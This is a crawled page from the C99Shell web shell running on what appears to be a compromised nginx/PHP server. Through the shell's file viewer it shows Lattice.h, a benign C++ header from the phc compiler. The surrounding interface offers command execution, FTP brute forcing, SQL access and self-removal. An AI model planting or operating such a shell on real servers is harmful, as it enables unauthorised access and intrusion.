!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/scripts/pba/phc-read-only/src/optimize/   drwxrwxr-x
Free 83.21 GB of 96.73 GB (86.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Lattice.h (1.68 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#ifndef PHC_LATTICE_H
#define PHC_LATTICE_H


#include "lib/Map.h"

#include "MIR.h"
#include "process_ir/General.h"
#include <boost/tuple/tuple.hpp> // for tie


template <class Key_type, class Cell_type>
class Lattice_map
: public Map<Key_type, Cell_type*>
{
    typedef Map<Key_type, Cell_type*> parent;
    typedef Lattice_map <Key_type, Cell_type> this_type;

public:
    Lattice_map ()
    : Map<Key_type, Cell_type*> ()
    {
    }

    void dump (std::ostream& os = cdebug) const
    {
        CHECK_DEBUG ();

        Key_type index;
        Cell_type* cell;
        foreach (tie (index, cell), *this)
        {
            os << index << " => ";
            cell->dump (os);
            os << "\n";
        }
    }

    Cell_type* operator[](Key_type var) const // const version
    {
        if (parent::has (var))
            return parent::operator[](var);
        else
        return Cell_type::get_default ();
    }


    // We want to offer the option of the default value not being TOP.
    Cell_type*& operator[](Key_type var)
    {
        if (parent::has (var))
        {
            return parent::operator[](var);
        }
        else
        {
            parent::operator[](var) = Cell_type::get_default ();
            return parent::operator[](var);
        }
    }

    // Not a deep copy.
    this_type* clone ()
    {
        this_type* result = new this_type;

        Key_type var;
        Cell_type* cell;
        foreach (tie (var, cell), *this)
            (*result)[var] = cell;

        return result;
    }

    bool equals (this_type* other)
    {
        if (this->size () != other->size ())
            return false;

        Key_type var;
        Cell_type* cell;
        foreach (tie (var, cell), *other)
            if (!cell->equals ((*this)[var]))
                return false;

        return true;

    }

    void merge (this_type* other)
    {
        Key_type key;
        Cell_type* val;
        foreach (tie (key, val), *other)
        {
            (*this)[key] = (*this)[key]->meet (val);
        }
    }
};

#endif // PHC_LATTICE_H

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0045 ]--